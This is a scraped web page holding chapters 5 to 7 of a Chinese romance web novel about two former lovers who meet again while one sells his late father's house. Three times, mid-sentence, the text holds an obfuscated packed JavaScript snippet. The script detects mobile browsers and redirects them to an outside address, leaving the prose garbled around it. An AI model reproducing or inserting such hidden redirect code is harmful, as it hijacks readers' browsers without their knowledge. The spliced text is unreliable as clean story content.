林真真和方一航离婚时闹出来的动静不小,这条街的人几乎都知道。当时方程在念大学,就他还没毕业。 夫妻两一人一个孩子,天南海北各居一方,再也没联系。如今方一航死了,后事也跟方程无关,全权由他处理。 七叔吃了瘪,还什么都没打听出来,嘟嘟囔囔地进了后厨。 这小店没有空调,只有两个壁挂风扇。方清珏选了个能吹到风的地方坐下来,心想,江川居然还有心思吃炸串,真他妈气人。 后厨传来一阵叮咣的声音,没多久,七叔便端着炸串和馇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139894|164475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条出来了,不死心地继续打听:“你两往常不是都一起来嘛,今儿怎么还分开了?” 方清珏皱着眉,眉宇间甚是不耐,“我又不是他亲弟,还能成天跟他搁一块?” “你这话说的,川儿待你那不比亲弟还亲。”七叔也拉下了脸,将面碗搁在他面前,“你先吃,快吃完了我再给他炸,炸香蕉放久了该变软了,不好吃。” 面前的铁盘上堆着炸蘑菇,香菜卷,臭豆腐和淀粉肠,每一串上都裹满了酱,还洒着厚厚一层辣椒,连玉米馇条上也有不少油泼辣子,看得方清珏胃疼,“算了,你打包一起送过去吧。” “那你早说啊。”七叔有点不乐意,见他起身往出走立马追了出来,“嗳?你还没付钱呢!” 方清珏:“谁吃谁付!” 七叔不知又嘟囔了一句什么,他没听清,但听见快递站的老板压着声音问:“嗳,我听说他爸杀过人,做了十五年牢呢?” “那都是好久以前的事儿了,”七叔小声??,“不过应该是替人坐牢,还是替……” 方清珏加快步伐,直朝坡下的大海跑过去,身后的声音如划过耳畔的风,听不清了。 海角街是一条滨海大道,地势由高到低,能直达浅水湾海岸,是港城著名网红坡,很多人慕名而来在坡口打卡拍照。他一口气跑到沙滩,看见前面的礁石上坐着个迎风喝酒的二百五。 “你坐这喝酒,也不怕灌一肚子风?” 老伍扭过头来,看见他半是意外半是惊喜地笑了笑:“方仔?大晚上出来遛弯啊。” 方清珏嗯了一声,也在礁石上坐下来。 老伍递过来一罐啤酒,他伸手拿在手里,装作不经意地问:“我看你喊秦朗朗哥,你和他很熟?” “还行吧。”老伍指着二人中间那一塑料袋绝味鸭脖,“要吃自己拿啊。” 方清珏:“以前怎么没听你提过有个这么有钱的朋友,还开卡宴。” “我哪儿配有这样的朋友。”老伍喝了口酒,“他和川哥才是朋友,人两打小儿就认识。” 那以前怎么从没听江川提过? 方清珏心里不是滋味,“哦,他长得还挺帅。” 话音一落,老伍也不知是被酒还是被风呛到了,咳嗽了好几声。方清珏拍了拍他的背,听见他哑着嗓子说:“……方仔,人家有女朋友,都要结婚了。” 哦。 原来他不知道江川拿秦朗当挡箭牌这件事啊。 方清珏眉棱一挑,阴阳怪气道:“那怎么了,这帮有钱的不都玩得挺花吗?” “他不是这种人。”老伍深深地看着他,眼神有点怨怼,也有点难以置信,“也不是所有富二代都像电视里演的那样,朗哥是个正经人。” 方清珏冷嗤一声:“正经人能和江川交朋友?” 老伍立刻站了起来,急头白脸道:“你小子怎么说话呢!” “我说得不对么,威哥是个花花肠子,你是情场浪子,江川这几年估计也没闲着,秦朗又能有多正经。” “你还真说错了,川哥这几年都快成苦行僧了,连个暧昧对象都没有,正经得不能再正经了!” 闻言,方清珏内心一动,感觉堵在胸腔的那口气散了。 海风迎面吹来,海面上平铺着一层薄薄的银辉,溶溶月色映照着翻卷的浪花,似乎将它们的起伏都缓和了下来,发出轻柔的潺潺声。 怪不得他会坐在这喝酒,今晚月色不错。 方清珏双臂向后撑着礁石,语调懒洋洋的,听起来甚是阴阳怪气,“是么。” 老伍登时变了脸,恶狠狠地瞪过来一眼,抱起装着啤酒的冰桶走了。方清珏目送他进了浮桥对面的冲浪店,也跳下礁石,拍拍手回酒店了。 与此同时,对着两盘炸串发呆的江川接到一通电话。 “川哥,出大事了!方仔看上朗哥了!” 5. N.蓄谋巧合 港城作为一个有山有海有长城的海滨小镇,是个小有名气的旅游景点,每年夏天都会有人来度假,基本都住在海角街的民宿。 方清珏家所在的半截胡同离海滩很近,比较容易出手,中介像是生怕他后悔,一大早就打电话来催见面。 但方一航这几年没回过家,那房子有些荒废了,院子里的草比花都高。他特意请家政里里外外打扫了一遍,临近中午才同意看房。 没想到一下楼,就在大堂遇见了在前台做入住登记的秦朗,和拎着行李箱等在一旁的江川。 方清珏目光一顿,呼吸瞬间凝滞住,脚底跟灌了铅似地迈不动步了。 短短一瞬间,他脑子里冒出许多念头,甚至怀疑老伍和嵇野都在撒谎。 像是有心电感应一般,他看向江川之后,江川也偏过头来,目光与他对上的那一秒弯起唇角笑了笑。 他居然笑得出来! 方清珏登时觉得自己像个任人玩弄的傻-逼,难受得心口发疼。 江川和秦朗说了些什么,秦朗也看过来一眼,然后将他手里的行李箱接了过去。 下一秒,江川朝他走了过来。 他这一动,方清珏才注意到他身后还站着一位特别有气质的女人。因为身型娇小,又很瘦,所以完全被秦朗和江川挡住了。 他慢半拍地反应过来那个粉色行李箱是女款,应该是秦朗未婚妻的,这才缓了一口气,后知后觉地感觉有些奇怪。 港城虽然没有华尔道夫这样奢华的五星级酒店,但也有一家希尔顿,就开在浅水湾。秦朗作为一个传媒公司的老总,没道理住逅海这种不知名的度假酒店。 而且人家夫妻两入住,江川跟着干什么? “要出去吗?”江川停在他面前,眉眼弯弯的,看上去心情很不错,“去哪儿,我送你。” “不用。” 秦朗似乎办理完入住了,拎着箱子朝这边走过来,那位娇小可人的女人亦步亦趋地跟在身后。 看见他,秦朗微微点了点头,算是打招呼,方清珏的目光落在他身后,问:“这位是?” “我未婚妻。”他并没有介绍的意思,那个女人也没有说话,只礼貌性地笑了一下。 方清珏点了点头,提步往出走。江川喊了他一声,他只当没听见,步伐却不由自主地慢了下来。 然而江川并没有追上来,仍站在原地和秦朗交谈,声音很低,只能隐约听清“燕子”“海边”等字眼。 方清珏抿了抿唇,大步流星地往出走,刚走出酒店的大门,正准备下台阶的时候,身后传来了急匆匆的脚步声。 “我送你吧,反正也顺路。”江川跑过来,停在面前。 方清珏快被他搞无语了,“你都不知道我去哪儿就敢说顺路?” 江川扶了下眼镜,笑吟吟道:“你去哪儿我都顺路。” 方清珏听罢,深深地看了他一眼,那目光有如实质,像是想要把他看透。 他今天依旧穿的白衬衫,浅蓝色牛仔裤,打扮得干净清爽,很青春。二十七岁还有少年感的男人不多,至少小三岁的方清珏看起来就要更加成熟。 他收回视线,打算陪江川演下去,看看他葫芦里究竟卖的是什么药,便没推辞,大致说了下要去干什么。 江川一听就笑了,掏出车钥匙按响路边的SUV,“你几年没回来,肯定不知道现在房价都涨成什么样了。我要不跟你去,你保准被中介坑。” “……至于么。”方清珏朝车走过去,心想,这车不是胖子的么,他怎么还没还回去。 “那你说说心理价位是多少?” “那房子撑死能卖二百万。” 江川笑着摇了摇头,“不止。” 方清珏不信,“真假?” “我什么时候骗过你。”江川打开副驾驶车门,示意他坐进去。 方清珏冷冷地笑了一声。 他钻进车厢,刚坐下来江川就弯腰凑了过来,“要不要打个赌?” 日光毫不吝啬地倾洒在他身上,令那张清晰俊朗的轮廓缀着一层淡淡的光晕,连发丝都浮动着浅金,像是整个人都在发光。 方清珏缓慢地眨了眨眼,语调变慢了:“……什么?” “一会儿我和中介谈价格,如果比二百万高,你就请我吃饭。” “……哦。” 江川关上车门,从车头绕到主驾驶,钻进车里发动了引擎。 酒店离海角街不远,没几分钟就到了。方清珏稍稍冷静下来,才想起来问:“那如果中介说卖不到这个价格呢?” 江川无所谓道:“那就我请你,反正也到饭点了不是?” 方清珏:“……” 半截胡同是个死胡同,不好调头,江川将车停在了路边,方清珏一下车,就看见胡同口站着一个中年男人,长得和昨天刚加的那个房产中介用的微信头像一模一样。 “是刘经理吗?”他走过去问。 “是!”男人赶忙道,“咱要卖的是哪一栋?” “蓝色那个。”方清珏领着他往胡同里走,路过一栋栋粉刷得五颜六色的马卡龙别墅,拐进胡同最里面那间院子。 家政公司刚彻底打扫过,院子不像昨晚那么荒废,就是看着有点空,明显很久没人住过了,没什么人气儿。 刘经理四处看了看,似乎是觉得不错,一边拍照片一边问:“这房子挺好的呀,为什么要卖掉呢?” 方清珏:“……” 鉴于方一航在港城的出名程度,他特意找了一家很远的房产中介,就算听过方家的事,也不一定能认出来人。 “要不也没人住。” “那倒也是,浅水湾这边的业主几乎都在干民宿。我看你年纪也不大,应该刚毕业,估计没什么精力管这房子。” “嗯。” 刘经理说着录了个进户视频,“兄弟,咱最低卖多少?” 没等他开口,江川抢先报了个价,方清珏听得贼心虚,觉得这价高得有些离谱。 刘经理踌躇几秒,说:“咱们这地方太小了,政府再怎么宣传也成不了热门景点。所以这海景房吧,卖不了那么高的价钱。” 江川不认同:“怎么卖不了,海角街可是政府重点宣传对象,宣传片拍的就是这里,游客都扎堆往这来,前几天还有个房子卖了三百多万,那还没这离海近呢。” 方清珏听得一愣,心道,怪不得这次回来总感觉海角街和以前不一样,不仅游客多,店铺新,街道也更繁华更干净了。 刘经理道:“那也得看买家压不压价不是?” 江川眯着眼看他,脸上的笑变得耐人寻味,看得人心头一颤:“我听说有的中介会低价收房子,重新装完再高价往出卖,有这么回事吗?” 刘经理听罢,干巴巴地笑了笑:“那这样吧,我先挂交易网上,如果有想压价的,我尽量不低于三百万出手,您看行么?” 三百万…… 方清珏压下小小的震惊,回了一个字:“……行。” “那妥了。”刘经理立刻从公文包里拿出一份打印好的文件,坐在餐桌那把委托合同写好了,像生怕他反悔似的。 方清珏签好字,将钥匙留给他,刘经理便骑着电动车离开了。 “怎么样,我赢了吧?”江川朝他挑了挑眉,“你答应的太快了,不然还能再往上涨几十万。” “你想吃什么?”方清珏问。 “海天一色吧,他家海鲜还挺不错的。” 这家店在浅水湾,离老伍上班的冲浪店不远,是一家建立在沙滩上的主题餐吧,三面环海落地窗,很有逼格,就是菜品味道一般,价格死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139895|164475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贵,是个专门宰游客的地方。 方清珏觑他一眼:“没被中介坑倒是被你坑了。” “哪的话,这不给你赚回来了嘛。” 方清珏略带审视地看了他几秒,没什么表情地上了车。几分钟后,江川将车停在沿海公路,两个人顺着观海木栈道朝餐吧走。 白天浅水湾的人特别多,跟下饺子似的,热闹极了。有组团冲浪的,结伴玩水的,带孩子一起晒太阳的,还有不少来这家店上赶着挨宰的。 他选了个靠窗的位置坐下来,将菜单递给江川,江川却推了回来,只点了一杯柠檬水。他没好气地白了一眼,在服务生的推荐下点了一堆特色菜。 餐吧里很安静,桌位之间的距离也很大,几乎听不见交谈的声音,只能听见悠扬舒缓的钢琴曲。江川倚着椅背看大堂中央弹琴的钢琴师,眼神有点空,不知道在想什么。 方清珏顺着他的目光看过去,啧了一声:“那一看就是假期在这兼职的大学生,你放过人家吧,别总想老牛吃嫩草。” 江川看过来,别具意味地笑了笑,“我对别的草没兴趣哦。” 方清珏闻言一哂,“那秦朗算什么,花吗?” 江川的目光落在他身后,微微挑起眉梢,“刚说到曹操,曹操就来了。” 方清珏回过头,与站在门口的秦朗对上视线,彼此都从对方眼中看出几分纳罕。 江川问:“介意拼个桌吗?” 他收回目光,不冷不淡道:“随你。” 江川起身朝秦朗走了过去,没多久就将人领了过来。他改坐到方清珏旁边,向方清珏介绍了一下坐在对面的秦朗和他的未婚妻。 方清珏礼貌且生疏地和人打了个招呼,意识到自己没听错,那声燕子是在喊她,那“海边”大概指的就是这了。 原来他们早就约好在这见面,怪不得秦朗进来一看见他就停住了脚步,站门口不动了。 燕子打量了几眼方清珏,然后就疯狂朝江川眨眼,江川笑着和她对视,一个字都没说,仿佛熟到能用眼神交流。 服务生将菜品一一上齐,几个人边吃边聊,方清珏一直没说话,秦朗话也不多,几乎都是江川和燕子在说。 这两个人的关系有点像闺蜜,燕子连秦朗哪儿惹她生气了都会和江川说,方清珏忽然发现,他们四个人一打照面,很多误会根本不需要解释,就这么消散在不言中了。 这让他不得不怀疑秦朗出现在鱼丁店的原因,甚至觉得逅海的房间也是江川定的,不然他没必要陪着一起登记。 这算什么? 方清珏在心里冷笑,压根没胃口吃饭,大部分时间都看着窗外的大海出神。 吃完饭,燕子想要去深潜,秦朗便包了艘快艇,请了四个教练带大家一起下海。 快艇开到深海区,教练指导燕子和秦朗下了海,江川沐浴在阳光里给他们拍照。方清珏静静地站在甲板阴凉处,亮暗分明的光影像一道清晰至极的分界线,隔开了他和所有人。 太阳越过子午线一点点下沉,天色不再那么晴朗,重叠的云层就像他逐渐耗尽的耐心。 方清珏深吸一口气,把心一横,决定赌一把。 “船上有潜水服吗?”他转头问。 “有。”教练立刻从船舱里取出来两套潜水服,“刚刚在岸上你两没穿,我就带上来了。” 他走过去,从教练手里接过潜水服往身上套。下一秒,江川立马走过来抓住了他的胳膊:“有深海恐惧症还玩什么潜水。” 方清珏斜眼睨着他,眼神逐渐变得幽深,带着掩饰不住的怨气。 “你为什么要分手。” 眼皮轻轻地抽动了几下,江川的表情有些严肃:“脱下来。” 方清珏直视他的眼睛,近乎逼问。 “到底为什么分手!” 6. N.再三试探 方清珏等了足足一分钟都没等到答复,眼神变得越来越锋利。他三下五除二地脱下潜水服扔在地上,然后转过身,纵身一跃扎进了海里。 清凉的海水包裹而来,他听着回响在耳边的水声,感受着越来越强烈的失重感,两眼紧盯着被浮动的海水扭曲成波浪形的白船,心和身体同时向下沉,却不似从前那样恐惧,反而有一种一辈子都上不了岸的绝望。 只听扑通一声,一抹纯白跃入海中,直朝他了游过来。 江川搂着他的腰,带着他向上游。随着“咕噜——”一声,他们冒出海面,方清珏立刻听到一声训斥:“你不要命了吗!” 方清珏抬手抹了下脸,看见江川眼底积蓄着浓郁的愠意,感觉自己赌对了。 以退为进,结果往往会出其不意。 “我救你一次,你救我一次,我们扯平了。” 江川眉尾向下一压,脸色黑沉沉的,“你开什么玩笑。” “那我换个说法,你欠我的那条命我不要了。”方清珏抓着栏杆爬上船,低下头,居高临下地看着他,“我不会再问没意义的问题,你也别再搞没意义的偶遇。江川,你在我这早就翻篇了。” 他声音平静,脸上一如既往地没有什么表情,好似真的什么都不在乎了。这令江川倍感意外地睁大了眼睛,神情都僵滞了。 “仔仔……” “别这么叫我,我觉得恶心。”方清珏态度和表情一样冷漠,“也容易被我对象误会。” 闻言,江川眸光一凛,眼睛微不可查地眯了起来:“对象?” 他凉嗖嗖地问:“什么时候的事?” “关你屁事。” 胃不知道又在犯什么毛病,突然抽搐了起来。方清珏摸了摸裤兜,发现没带药出来,便对站在一旁满脸震惊的两个潜水教练说,“能不能先送我回去?” 年纪轻的那名教练还怔怔地看着他们,表情那叫一个精彩纷呈。稍微大一些的反应很快,立刻说:“能,能能能!” “开回去。” 方清珏站起身来。 教练看了眼扒着船尾泡在海里发愣的江川,挠了挠头:“你朋友还没上来……” “关我屁事。” 方清珏转身进了船舱。 舱里有浴巾,也开着暖风,轰得人心里发暖。他用浴巾擦拭半干半湿的头发,听见身后传来江川的声音。 “是你大学同学?” 方清珏动作一顿,冷冷淡淡地怼了一句:“你还是关心关心你金主吧。” 江川:“你这话是什么意思?” “你和他开房时他有女朋友。”暖风吹动方清珏的衣角,弄乱了他的头发,也模糊了他的声音,“谁家好人知三当三?” 江川几步走到他面前,很认真地看着他,像是在判断这句话究竟是出于揶揄,还是出于真心。 “你是不是误会了什么?” “误会?你忘了那通电话吗?” 江川微蹙着眉:“你是真没明白,还是装不明白?” 方清珏动了动唇,正想说什么,胃里却冒出来千万根针在四处乱扎,疼得他弯下了腰,五官都皱成了一团。 江川立刻伸手去扶他,声音都变了调:“你怎么了?” 掌心碰到方清珏胳膊的一刹那,他眉心一颤,立刻抬手探向他的额头,然后就将人背了起来,气得咬牙切齿:“都烧成这样了还跳海!” 方清珏挣扎着:“你放我下来。” “再动我就扒了你的裤子,”江川扭过头来看他,一字一顿道:“打屁股。” 他的语气和往常并没有什么不同,平平淡淡的,却听得方清珏心中一凛,立刻跟被人点了穴似的安静下来。 快艇停靠在浮桥边,江川背着方清珏快步走下船,教练便将快艇又开了回去。 顺着木栈道往回走,江川停在SUV旁,拉开车门将他塞进去,再啪地一声摔上车门,开车去医院。 轿车顺着沿海公路迅速朝城区逼近,他后知后觉地品出几分不对劲。 方清珏是无辣不欢的性子,以前喝个豆浆都会往里加点红油。但这次回来,他点的砂锅鱼丁是酱香味的,加了辣椒的炸串一口没吃,再结合他喝完芒果沙冰就吐了出来—— 江川试探着问:“你是不是有胃病?” 方清珏瘫在副驾驶上,闭着眼,拧着眉,鼻尖沁出不少细密的汗。闻言,他没好气地说:“你才有病。” 江川一听,更加笃定了,“看来不仅有,还很严重。” 方清珏:“……” 路上车不多,十几分钟便开到了镇医院。江川挂了个急诊,搀扶着方清珏去科室做了一番简单的检查。 医生轻叹道:“你这年纪轻轻的,胃病挺严重啊。” 江川立刻追问:“……有多严重?” 方清珏捂着肚子,唇瓣淡无血色,额角也缀着冷汗,已然疼到了极致,却不忘记开口怼他:“猫哭耗子假慈悲。” 医生扫了他们两人几眼,最后目光定格在方清珏的脸上,“胃都这样了还敢喝酒,这次没胃出血都算你命好。这几天要注意饮食,只能吃半流食,烟酒什么的,以后都别想了,忌了吧。” 他开了单子,让方清珏住院治疗,方清珏不愿意,被江川强按着躺在了病床上。输液效果来得比想象中还要快,没一会儿他就没那么疼了,筋疲力尽地睡了过去。 这间病房没别人,江川搬了把椅子坐在床边,隔着不远的距离肆无忌惮地注视着他。 暖融融的日光笼罩着方清珏的面容,像是添了一层柔光滤镜,令他看起来柔和许多,不像清醒时那么冷厉。 江川眼睛一眨不眨,看得很专注,神情却有些落寞。输完液都下午了,他用手背探了探他的额头,见温度真的降下来了才缓缓松了口气。 这人中午没怎么吃,一会儿醒过来估计会饿。江川轻手轻脚地走了出去,万分小心地关阖了房门。 刚走到医院食堂,兜里的手机便响了起来。是嵇野打来的,他按下接听键。 “我要订婚了。”嵇野故作轻松地说,“原来妥协也没有很难。” 对于这个结果,江川并不意外,却感到很无力,而且是深深的无力。他朝一旁的长椅走过去,岔开腿坐下来,身子向前倾,手肘搭着膝盖,说:“嵇野,我给你讲个故事吧。” 嵇野没说话,但江川知道他在听。 “从前,有一对很相爱的同性情侣不被彼此的家人接受,其中一方也是家人生了重病,以死相逼。他妥协了,抛下爱人去结婚生子,你猜他是什么下场。” 嵇野:“什么下场。” “他爱的人一蹶不振,变成了一个嗜赌成性的烂酒鬼。他的妻子在流言蜚语中生下孩子,将一切都怪到孩子头上,互相生恨。他众叛亲离,死了都没有人愿意给他送葬。” 嵇野深吸一口气,没说话。 “我说这些是想让你知道,你的妥协伤害的不止是一个人。” 电话那端的人没有说话,周围也很安静,江川等了一会儿,低头扫了眼手机屏幕,确定电话没挂断就又放回了耳边。 他没有催促的意思,只是静静地等。良久,嵇野声音很轻地说:“如果真有这么一天,那也是我咎由自取。” 说完,他便挂了电话。 江川低着头,盯了好一会儿手机屏幕才揣起来,掏出一支烟,点燃,静静地抽。 他想起方清珏说他现在不是单身,想知道他是不是也向现实妥协了,又实在没有脸去开口问,只能裹挟着沉默再次点燃一根烟。 微风带着凉意,江川修长的手指夹着一根细长的烟,袅袅白烟绕着指尖散在风里,像怎么留都留不住的过往。 他在长椅上坐了很久才起身走进食堂,打了一份清粥小菜回病房。 方清珏已经醒了,正躺坐在床头玩online五子棋,听见门开的声音掀起眼皮看了一眼,有些意外地问:“你没走?” “舍不得我?”江川眼尾上扬,笑得点暧昧。 方清珏白了他一眼,立刻收回了视线。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139896|164475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “过来吃饭。” 他将打包盒放在床尾桌上,又打开了饭盒盖子,淡淡的米香味扑鼻而来,瞬间铺满整间病房。方清珏本来不觉得饿,没想到闻了几下肚子就咕咕叫了出来,只好凑过去喝粥。 “……真谈恋爱了?”江川坐在床边的凳子上,似笑非笑地看着他。 方清珏搅动稀粥的动作停下来,“这还能有假?” 话音一落,江川的下颌线瞬间绷紧了,声音也有点沉:“什么时候谈的?” 方清珏冷冷地睇了他一眼,没说话。 见状,江川微微眯缝起眼睛,语气笃定:“你根本没谈恋爱吧。” 他的瞳色很浅,直直地盯视过来,让方清珏有一种被看透的感觉,便立即偏头避开了,“我谈得好着呢。” “是么。”江川向后一靠倚着椅背,右腿交叉叠放在左腿上,姿态忽然变得很放松,“病成这样都没联系,你和空气谈的?” 方清珏用勺子狠狠戳了几下粥,抿着唇没说话。 江川有些好笑地看着他,半晌后才收回目光,低头摩挲着衣角,“那天下了大雨,你应该记得吧。” 他没有具体明说是哪天,方清珏却立刻明白了,心想,这人真是故意添堵,吃饭的时候聊这个,谁他妈还能吃得下去。 “那时秦朗刚接手他爸的公司,正好有个戏在这拍,他来监工,我过去帮忙,都淋了雨,正好他房车就在片场,我就顺便在他房车洗的澡。” 方清珏低低地哦了一声。 “你问了我两遍为什么分手。”江川的声音低了下去,“我以为你知道的。” 方清珏顿时没了声音。 当初江川提分手的时候,他说什么都不同意,死缠烂打到江川连家都不回了。 所以对突然冒出来的秦朗,他一直保持怀疑,真正伤到他的根本不是这个所谓的第三者,而是江川一点机会都不给的狠心。 屋里的灯亮得刺眼,那些好不容易愈合的伤疤再次撕裂成一道道血肉模糊的口子。 方清珏低声道:“你和胖子说我幼稚,说和我在一起很累,我听见了。” 江川垂下眼帘,双手交叠,很用力地握在一起,一向上扬的唇角变得无比平直。 良久,他低声道:“对不起。” 方清珏听罢,眼里仅存的一点光亮也彻底熄灭,忽然什么话都不想再说了。 其实没什么可对不起的,那时候的他确实幼稚,做事横冲直撞不顾后果,江川累到厌倦很正常。 但理解归理解,他还是控制不住地恨。 方清珏拿起勺子一口接一口地喝粥,没有说话的意思。 他头发很长,狼尾都留到了锁骨,低头的时候垂下来的头发能遮住整张脸。江川将腕间的佛珠摘下来,递给他,示意他将头发扎起来。 方清珏垂眸看着黑檀木佛珠,有点难以理解地问:“你到底信不信佛?” “本来就是给你求的。”他无所谓地说。 “呵。”方清珏压根不信。 他把头发别到耳后,继续低头喝粥,没有接的意思。 江川起身凑近,手也伸了过来,一副要亲手给他扎头发的架势。 方清珏立刻躲开了,端起粥一饮而尽,然后把碗重重地摔在床尾桌上,冷着脸道:“喝完了,滚。” “喳,奴才这就滚去洗碗。”江川把佛珠戴回手腕,端着碗往出走。 方清珏乜了他一眼,掀开被子躺了回去。 许是那碗粥起了效果,胃暖起来后还真有点困,没一会儿就又睡着了,连江川什么时候走的都不知道。 翌日一早,他输完液,不顾医生的劝阻强行出了院,回酒店的第一件事就是洗澡。 “铛铛铛——” 有人在敲门。 方清珏打开门,对上那双浅淡的眼眸时微微一怔,随即就皱起了眉:“你来干什么?” 江川拎着几袋吃食站在门外,闻言朝他微微一笑:“不是你约我来的?晚了一点而已,不会反悔了吧?” 7. N.无妄恶果 “错过了就没了。” 方清珏作势要关门,江川抬手撑着门板从门缝里挤了进来,然后反手关上了门。 “给你带了饭,不用谢。”他说着就往屋里走。 “……”方清珏站在门口看他,突然觉得很没意思,“江川,我没兴趣陪你玩权衡利弊的游戏。” 江川脚步停滞一瞬,肩背的肌肉登时绷紧了。但几秒后,他又像没听见似的继续往里走,将吃食放在茶几上,自顾自道:“我记着你以前是铁胃来着,怎么会得胃溃疡呢?” 方清珏很无语,也彻底没了耐心:“你到底走不走?” “先让我吃完饭嘛。”江川回过头,目光期期地看着他,表情甚是可怜:“天没亮我就起来做饭了,一做完就立刻过来找你,还没顾得上吃呢。” 方清珏静静地与他对视,几十秒后才收回视线,没办法似的妥协了。 他把信封和照片收起来,接过江川递过来的饭盒,坐在沙发上,毫无进食的欲望。 “怎么又是小米粥。” “不爱吃啊?那下次给你炖南瓜粥。”江川坐在他对面的沙发凳上,“那张照片上的人是谁?看着有点眼熟。” 方清珏垂着眼帘,双手握紧了饭盒,几秒后又松开,语气淡淡的:“我爸的爱人。” 江川眨了眨眼,终于反应过来为什么觉得他眼熟了——这男人长得很像林真真。 他突然明白为什么方一航明明是个gay却会和林真真有两个孩子了,也明白林真真后来为什么那么厌恶方一航,连他死了都不愿意回来送葬。 见他一秒变幻了八百个表情,方清珏轻啧一声:“想说什么就说吧。” 江川缓缓抬起头,看着眼前这张继承了林真真八成美貌的脸,也终于明白林真真为什么如此不喜欢他,独独偏爱方程了。 “没什么想说的,就是有点心疼。” 他伸出手,想去揉方清珏的头发,被他偏过头躲开了。 “不需要。” 他低着头,散落的发遮住了半张脸,只露出泛着水光的唇。那唇很饱满,但唇角平直,透着一股倔气,江川凝视着他,仿佛看到了当初那个尚且稚嫩又很倔强的半大少年。 “那你想要什么?” 方清珏斜睨他一眼,“想你离我远点。” 江川搬着沙发凳往后挪了一寸,摊开手说:“叮,你的愿望实现了。” 方清珏:“……幼稚。” “嗡——” 茶几上的手机连连震动,是哈德森教授打来的。他接起电话,哈德森说他到了个快递,已经放进公寓了,说完又问事情处理的怎么样。 那天接到警察电话的时候,他正在实验室和哈德森做项目研究。生父过世是大事,哈德森立刻给他放了假,让他回来处理后事。 “还有点事没办完,”方清珏说,“得过两天才能回去。” 哈德森让他别着急,方清珏心想我有什么可急的。两个人又聊了一会项目近况才挂电话。江川敏锐地捕捉到了“X大附属医院”几个字,有点惊讶地问:“你在B市实习呢?” “是啊,怎么了?” “你早就回国了?” 方清珏咬了口山药糕,囫囵不清地说:“有半个月了。” 江川听罢,眉眼垂了下去,端起饭盒吃起了饭,没有再说话的意思。 气氛忽然有些沉默,屋子里瞬间像旷野一样安静。方清珏掀起眼皮撩了他一眼,心里冷哼一声,也一句都没解释。 良久,江川才低低开口:“没入学就能参与项目的学生不多,确实得好好把握。” 方清珏的心咚地一下跳得很用力,看过去的目光里透着审视,“你怎么知道我考了研究生?” 江川停顿几秒才说:“喝多那天你自己说的。” “真假?”他半信半疑,“我闲得没事说这个干什么?” “你还说你很放不下我,要和我复合来着。” 方清珏倏地站起身来,脸色臭到了极致:“你放屁!” 江川低着头,反手掩住唇低低地笑出了声。 “你他妈还笑!”方清珏气急败坏地踹了一脚茶几,踹得饭盒蹭得一下飘出好远。 江川忍着笑将饭盒拉回来:“不笑了不笑了,你接着吃。” “吃完赶紧滚。”方清珏剜了他一眼,拿起床上的衣服进了洗手间,咔哒一声反锁上了门。 江川噗嗤一声笑得更大声,笑完走过去敲了敲门,“我突然有点尿急。” “滚!” 门上传来了轻微的声响,像是里面的人将衣服砸在了门上。 江川倚着门框,笑得半个身子都在颤,“要憋不住了。” “憋死正好!” 江川闭上了嘴,在门口杵了一会儿才走回去将茶几上的吃食收了起来,拿着饭盒到水槽里洗。 方清珏洗得很快。 他换上黑色T恤衫和短款工装裤,擦着头发打开门,见江川站在门口,顿时一脸警惕地问:“你站这干什么?” “等着上厕所啊,都说要憋不住了。”江川走进来,反手将他推了出去,啪地一声关上了门。 方清珏啧了一声,“这么一会儿就憋不住了,你肾也不怎么样嘛。” “我肾好不好你不应该比我清楚?” “过期五年的老男人。”方清珏翻着白眼踹了下门,“鬼知道你肾还能不能用。” “要试试吗?” “试你大爷!” 他将毛巾扔在床上,拿起手机,搜了一下信封上的地址,又查了查车票,才发现剩下的车次没有直达的,都得绕个远才能到。 正琢磨该怎么坐车呢,低磁的嗓音突然从后面绕了过来,瞬间填满了耳朵:“站这干嘛,等我呢?” 方清珏回过头,见江川站在身后,与自己挨得很近,几乎就要贴过来了,立刻走开一步拉开距离:“你怎么过来的?” “开车啊。” “那走吧。”方清珏说着就往出走。 “不是,”江川有点懵,“去哪儿啊?” “你别管。” 两个人一前一后出了酒店的大门,方清珏一打眼儿就看见了老伍那辆脏得不成样子的SUV,不由得啧了一声:“你怎么不自己买辆车?” “穷呗,钱都给媳妇了。” “有病。” 方清珏懒得理他,拉开副驾驶的门钻进去,点开导航输入了地址。 江川扫了眼电子屏幕,看见上面提示全程需要五个半小时,不禁挑了下眉尾,“我们为什么不做高铁呢?” “费什么话。”方清珏低头系安全带,“你开不开?” “乐意为您效劳,记得给个好评哦亲。” 江川说着伸过手来,似乎是想勾一下他的下巴,方清珏立刻拍走他的手,冷着脸道:“不想要就剁了。” “这只得要,这只比较快。” 